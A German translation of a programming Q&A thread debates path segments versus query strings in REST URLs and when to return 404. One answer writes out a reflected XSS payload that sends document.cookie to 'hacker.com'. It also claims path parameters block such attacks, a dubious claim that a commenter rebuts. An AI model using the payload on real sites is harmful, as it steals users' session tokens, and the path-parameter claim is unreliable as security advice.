Querystring in der REST-Ressourcen-URL

76

Ich hatte heute eine Diskussion mit einem Kollegen über die Verwendung von Abfragezeichenfolgen in REST-URLs. Nehmen Sie diese 2 Beispiele:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

Mein Standpunkt war, dass die URLs wie in Beispiel 1 gestaltet sein sollten. Dies ist sauberer und das, was ich denke, ist in REST korrekt. In meinen Augen wäre es völlig richtig, einen 404-Fehler aus Beispiel 1 zurückzugeben, wenn der Produktcode nicht vorhanden wäre, während in Beispiel 2 die Rückgabe eines 404 falsch wäre, da die Seite vorhanden sein sollte. Seine Haltung war, dass es nicht wirklich wichtig war und dass beide dasselbe tun.

Da keiner von uns konkrete Beweise finden konnte (zugegebenermaßen war meine Suche nicht umfangreich), würde ich gerne die Meinung anderer dazu erfahren.

Pythonandchips
quelle
Vielen Dank für alle Antworten Leute. Er hat jetzt der Ansicht eingeräumt, dass Option eins besser ist als Option 2, mit etwas mehr Lesen / Nachforschen.
Pythonandchips
29
Beachten Sie, dass Ressourcen in REST Substantive und keine Verben sein sollten. "Nach Produktcode suchen" ist daher in erster Linie unangemessen.
Fletom

Antworten:

48

In typischen REST-APIs ist Beispiel 1 korrekter. Ressourcen werden als URI dargestellt und # 1 macht das mehr. Die Rückgabe eines 404, wenn der Produktcode nicht gefunden wird, ist absolut korrekt. Trotzdem würde ich # 1 leicht modifizieren, um ein bisschen ausdrucksvoller zu sein:

http://localhost/products/code/4xheaua

Schauen Sie sich andere gut gestaltete REST-APIs an - zum Beispiel StackOverflow. Du hast:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

Dies sind alles verschiedene Möglichkeiten, um zu "Fragen" zu gelangen.

Steve Michelotti
quelle
11
+1, weil findbyproductcode mehr Verb als Substantiv ist - es ist ein RPC-Aufruf, keine Ressource. Ich denke jedoch, dass sich die Frage ein wenig ändert und die Antwort auch, wenn Sie mehr als ein Suchkriterium anstelle von nur Produktcode haben. / products? size = {size} & color = {color}. Ihre Gedanken dazu würden mich interessieren.
ScottCher
34
Ich würde sagen: Wenn Code , 4xheauaist der Produkt - ID , dann würde ich besser gehen mit domain/products/4xheaua. Wenn Code nur eines von vielen Suchkriterien ist, würde ich stattdessen mit gehen domain/products?code=4xheaua.
Superjos
1
Ich werde hinzufügen, dass zusätzliche Pfadteile eine hierarchische, verzeichnisähnliche Beziehung ausdrücken sollten. Ich glaube, dies ist das Grundprinzip dessen, was @superjos (+1) gesagt hat. Da jedoch nicht alle Ressourcen IDs haben, ist dies etwas allgemeiner.
wprl
Das ist richtig. Dies ermöglicht es Ihnen, Dinge wie localhost / products / new oder localhost / products / firesale zu tun
richard
Was ist mit der Ressource, die durch 2 Felder identifiziert wird? / domain / projects? code = xxx & name = xxx
PeiSong
85

Aus Sicht des Clients gibt es keinen Unterschied zwischen den beiden URIs. URIs sind für den Client undurchsichtig. Verwenden Sie die Karten, die sauberer in Ihre serverseitige Infrastruktur integriert sind.

Für REST gibt es absolut keinen Unterschied. Ich glaube, der Grund, warum so viele Menschen glauben, dass nur die Pfadkomponente die Ressource identifiziert, liegt in der folgenden Zeile in RFC 2396

Die Abfragekomponente ist eine Informationsfolge, die von der Ressource interpretiert werden soll.

Diese Zeile wurde später in RFC 3986 wie folgt geändert :

Die Abfragekomponente enthält nicht hierarchische Daten, die zusammen mit den Daten in der Pfadkomponente (Abschnitt 3.3) zur Identifizierung einer Ressource dienen

IMHO bedeutet dies, dass sowohl die Abfragezeichenfolge als auch das Pfadsegment bei der Identifizierung einer Ressource funktional gleichwertig sind.


Update, um Steves Kommentar zu adressieren.

Vergib mir, wenn ich gegen das Adjektiv "Reiniger" bin. Es ist einfach viel zu subjektiv. Sie haben jedoch den Punkt, dass ich einen wesentlichen Teil der Frage übersehen habe.

Ich denke, die Antwort auf die Frage, ob 404 zurückgegeben werden soll, hängt davon ab, welche Ressource abgerufen wird. Handelt es sich um eine Darstellung eines Suchergebnisses oder um eine Darstellung eines Produkts? Um dies zu wissen, müssen Sie sich wirklich die Linkbeziehung ansehen, die uns zur URL geführt hat.

Wenn die URL eine Produktdarstellung zurückgeben soll, sollte eine 404 zurückgegeben werden, wenn der Code nicht vorhanden ist. Wenn die URL ein Suchergebnis zurückgibt, sollte sie keine 404 zurückgeben.

Das Endergebnis ist, dass das Aussehen der URL nicht der bestimmende Faktor ist. Es ist jedoch üblich, dass Abfragezeichenfolgen verwendet werden, um Suchergebnisse zurückzugeben. Daher ist es intuitiver, diesen URL-Stil zu verwenden, wenn Sie keine 404s zurückgeben möchten.

Darrel Miller
quelle
13
Das Zitieren der RFC-Spezifikation ist in Ordnung, aber das ist nicht genau die Frage, die gestellt wird. Ja, die beiden Beispiele sind funktional gleichwertig - das ist unstreitig. Die Frage geht über die Lehrbuchdefinition einer Ressource hinaus (für die beide gelten). Was passiert mit seiner Frage, wenn Code in der Abfragezeichenfolge nicht vorhanden ist? 404? Was ist mit dem "saubereren" Aspekt seiner Frage? Beide sind "gültig", ja, aber meiner Meinung nach ist # 1 "sauberer" und entspricht mehr dem, was er sucht (in Verbindung mit meiner Antwort unten mit StackOverflow).
Steve Michelotti
5
Ich stimme dem Vergleich zu, den Sie in Ihrer aktualisierten Antwort angegeben haben. Die Abfragezeichenfolge ist für ein Suchergebnis ohne 404s sinnvoll. Für einen Produktcode (gemäß dieser Frage) ist 404 sinnvoll, und IMO ist es üblicher, für dieses Szenario keine Abfragezeichenfolge zu verwenden. Danke für die aktualisierte Antwort.
Steve Michelotti
@DarrelMiller Was meinst du mit "IMHO bedeutet dies, dass sowohl die Abfragezeichenfolge als auch das Pfadsegment bei der Identifizierung einer Ressource funktional gleichwertig sind."? Wollen Sie damit sagen, dass foo / resources und foo / resources? QueryParam = bar als dieselben Ressourcenkennungen anzusehen sind? Oder dass unterschiedliche Ressourcenkennungen dieselbe Ressource identifizieren?
Les Hazlewood
1
@LesHazlewood Weder noch. Es handelt sich um zwei verschiedene Ressourcen-IDs, die zwei verschiedene Ressourcen identifizieren, aber beide würden genauso effektiv funktionieren.
Darrel Miller
11

Es gibt zwei Anwendungsfälle für GET

  1. Holen Sie sich eine eindeutig identifizierte Ressource
  2. Suchen Sie nach Ressourcen anhand bestimmter Kriterien

Anwendungsfall 1 Beispiel:

/ products / 4xxheua
Holen Sie sich ein eindeutig identifiziertes Produkt und geben Sie 404 zurück, wenn es nicht gefunden wird.

Anwendungsfall 2 Beispiel:

/ products? size = large & color = red
Nach einem Produkt suchen, gibt eine Liste der passenden Produkte zurück (0 bis viele).

Wenn wir uns beispielsweise die Google Maps-API ansehen, sehen wir, dass sie eine Abfragezeichenfolge für die Suche verwenden.

zB http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

Beide Stile gelten also für ihre eigenen Anwendungsfälle.

Michael Brown
quelle
4

IMO sollte die Pfadkomponente immer angeben, was Sie abrufen möchten. Eine URL wie http: // localhost / findbyproductcode sagt nur, dass ich etwas nach Produktcode abrufen möchte, aber was genau?

Sie rufen also Kontakte mit http: // localhost / Kontakte und Benutzer mit http: // localhost / users ab . Die Abfragezeichenfolge wird nur zum Abrufen einer Teilmenge einer solchen Liste basierend auf Ressourcenattributen verwendet. Die einzige Ausnahme ist, wenn diese Teilmenge basierend auf dem Primärschlüssel auf einen Datensatz reduziert wird und Sie so etwas wie http: // localhost / contact / [primary_key] verwenden.

Das ist mein Ansatz, Ihr Kilometerstand kann variieren :)

Sfynx
quelle
4

So wie ich es mir vorstelle, definiert der URI-Pfad die Ressource, während optionale Abfrageringe benutzerdefinierte Informationen liefern. Damit

https://domain.com/products/42

identifiziert ein bestimmtes Produkt während

https://domain.com/products?price=under+5

sucht möglicherweise nach Produkten unter 5 US-Dollar.

Ich bin nicht einverstanden mit denen, die sagten, dass die Verwendung von Querringen zur Identifizierung einer Ressource mit REST übereinstimmt. Ein großer Teil von REST besteht darin, eine API zu erstellen, die ein statisches hierarchisches Dateisystem imitiert (ohne ein solches System im Backend buchstäblich zu benötigen) - dies ermöglicht intuitive, semantische Ressourcenkennungen. Querystringe brechen diese Hierarchie. Zum Beispiel sind Uhren ein Zubehör, das Zubehör hat. Im REST-Stil ist ziemlich klar, was

 https://domain.com/accessories/watches

und

https://domain.com/watches/accessories

jeweils beziehen sich auf. Mit Querystringen,

 https://domain.com?product=watches&category=accessories

ist nicht sehr klar.

Zumindest ist der REST-Stil besser als Querystrings, da er ungefähr halb so viele Informationen erfordert, da wir durch die starke Reihenfolge der Parameter die Parameternamen weglassen können.

Matthew
quelle
1
Geniale Antwort. Ich stimme vollkommen zu. Ich möchte nur hinzufügen, dass Abfragezeichenfolgen in drei Situationen weiterhin verwendet werden sollten: (i) Paginierung. Beispiel: domain.com/accessories/watches?page=1 (ii) Filterattribute: domain.com/accessories/watches?fields=maker,model,price (iii) Suchkriterien: domain.com/accessories/watches?price= LE + 100
Paulo Merson
3

Das Ende dieser beiden URIs ist RESTfully nicht sehr bedeutsam.

Der Teil 'findbyproductcode' könnte jedoch sicherlich ruhiger sein. Warum nicht einfach http: // localhost / product / 4xxheau ?

Nach meiner begrenzten Erfahrung würde es sauber aussehen, wenn Sie einen eindeutigen Bezeichner haben, den URI wie ... / product / {id} zu konstruieren. Wenn der Produktcode jedoch nicht eindeutig ist, könnte ich ihn eher wie # 2 entwerfen.

Wie Darrel jedoch festgestellt hat, sollte es dem Kunden egal sein, wie die URI aussieht.

pc1oad1etter
quelle
+1 für "wenn der Produktcode nicht eindeutig ist". Es wäre etwas uninteressant zu schreiben, zB http://www.google.com/search/democracystatt http://www.google.com/search?q=democracy... oder ist es nur unsere Gewohnheit?
Sergey Orshanskiy
3

Diese Frage wird gestellt, was der sauberere Ansatz ist. Aber ich möchte mich auf einen anderen Aspekt konzentrieren, der Sicherheit. Als ich anfing, intensiv an der Anwendungssicherheit zu arbeiten, stellte ich fest, dass ein reflektierter XSS-Angriff erfolgreich verhindert werden kann, indem PathParams(Ansatz 1) anstelle von QueryParams(Ansatz 2) verwendet wird.

(Voraussetzung für einen reflektierten XSS-Angriff ist natürlich, dass die böswilligen Benutzereingaben in der HTML-Quelle an den Client zurückgesendet werden. Leider wird dies von einigen Anwendungen ausgeführt, weshalb PathParamsXSS-Angriffe möglicherweise verhindert werden.)

Der Grund, warum dies funktioniert, ist, dass die XSS-Nutzdaten in Kombination mit PathParamsaufgrund der Schrägstriche in den Nutzdaten selbst zu einem unbekannten, undefinierten URL-Pfad führen.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Während dieser Angriff mit einem QueryParam! Erfolgreich sein wird.

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
Mein Name ist
quelle
Aus diesem Grund bereinigen Sie Benutzereingaben. Nicht wirklich relevant für die Frage.
Vsevolod Golovanov
2

Die Abfragezeichenfolge ist in vielerlei Hinsicht unvermeidbar. Überlegen Sie, was passieren würde, wenn die Suche mehrere (optionale) Felder für alle angegebenen Felder zulässt. In der ersten Form müssten ihre Positionen in der Hierarchie festgelegt und aufgefüllt werden ...

Stellen Sie sich vor, Sie codieren eine allgemeine SQL "where-Klausel" in diesem Format. Als Abfragezeichenfolge ist dies jedoch recht einfach.

David V. Corbin
quelle
1

Philosophisch gesehen "existieren" Seiten nicht. Wenn Sie Bücher oder Papiere in Ihr Bücherregal legen, bleiben sie dort. Sie haben eine eigene Existenz in diesem Regal. Eine Seite existiert jedoch nur, solange sie auf einem Computer gehostet wird, der eingeschaltet ist und sie bei Bedarf bereitstellen kann. Die Seite kann natürlich immer im laufenden Betrieb erstellt werden, sodass sie vor Ihrer Anfrage keine besondere Existenz haben muss.

Denken Sie jetzt aus der Sicht des Servers darüber nach. Nehmen wir an, es handelt sich beispielsweise um ordnungsgemäß konfigurierten Apache - nicht um einen einzeiligen Python-Server, der nur alle Anforderungen dem Dateisystem zuordnet. Dann hat der in der URL angegebene Pfad möglicherweise nichts mit dem Speicherort einer bestimmten Datei im Dateisystem zu tun. Wiederum "existiert" eine Seite also nicht in einem klaren Sinne. Vielleicht fordern Sie an http://some.url/products/intel.html, und Sie erhalten eine Seite; dann fragst du http://some.url/products/bigmac.htmlund du siehst nichts. Dies bedeutet nicht, dass es eine Datei gibt, aber nicht die andere. Möglicherweise haben Sie keine Berechtigung, auf die andere Datei zuzugreifen, sodass der Server 404 zurückgibt oder möglicherweise bigmac.htmlvon einem Remote-Mc'Donalds-Server bedient werden sollte, der vorübergehend außer Betrieb ist.

Was ich zu erklären versuche, 404ist nur eine Zahl. Es ist nichts Besonderes daran: Es könnte 40404oder gewesen sein-2349.23847 wir haben gerade zugestimmt, es zu verwenden 404. Dies bedeutet, dass der Server vorhanden ist, mit Ihnen kommuniziert, wahrscheinlich verstanden hat, was Sie wollten, und dass er Ihnen nichts zurückgeben kann. Wenn Sie denken , dass es angemessen ist , zurückkehren 404zu , http://some.url/products/bigmac.htmlwenn der Server entscheidet , nicht die Datei aus irgendeinem Grunde zu dienen, dann könnten Sie auch zustimmen zurückzukehren 404für http://some.url/products?id=bigmac.

Wenn Sie nun für Benutzer mit einem Browser hilfreich sein möchten, die versuchen, die URL manuell zu bearbeiten, können Sie sie auf eine Seite mit der Liste aller Produkte und einigen Suchfunktionen umleiten, anstatt ihnen nur ein 404--- oder Sie zu geben kann einen 404als Code und einen Link zu allen Produkten geben. Aber dann können Sie dasselbe tun http://some.url/products/bigmac.html: automatisch auf eine Seite mit allen Produkten umleiten.

Sergey Orshanskiy
quelle
1

Für den REST-Client spielt die URI-Struktur keine Rolle, da sie Links folgt, die mit Semantik versehen sind, und den URI niemals analysiert.

Von dem Entwickler, der die Routing-Logik und die Link-Generierungslogik schreibt und wahrscheinlich das Protokoll durch Überprüfen der URLs verstehen möchte, spielt die URI-Struktur eine Rolle. Mit REST ordnen wir URIs Ressourcen und nicht Operationen zu - Fielding-Dissertation / einheitliche Schnittstelle / Identifizierung von Ressourcen .

Daher sind beide URI-Strukturen wahrscheinlich fehlerhaft, da sie Verben in ihrem aktuellen Format enthalten.

1. /findbyproductcode/4xxheua
2. /findbyproductcode?productcode=4xxheua

Sie können auf folgende Weise findaus den URIs entfernen :

1. /products/code:4xxheua
2. /products?code="4xxheua"

Aus REST-Sicht spielt es keine Rolle, welche Sie wählen.

Sie können Ihre eigene Namenskonvention definieren, zum Beispiel: "Durch Reduzieren der Sammlung auf eine einzelne Ressource unter Verwendung einer eindeutigen Kennung muss die eindeutige Kennung immer Teil des Pfads und nicht der Abfrage sein." Dies ist genau das, was der URI-Standard angibt: Der Pfad ist hierarchisch, die Abfrage ist nicht hierarchisch. Also würde ich verwenden /products/code:4xxheua.

inf3rno
quelle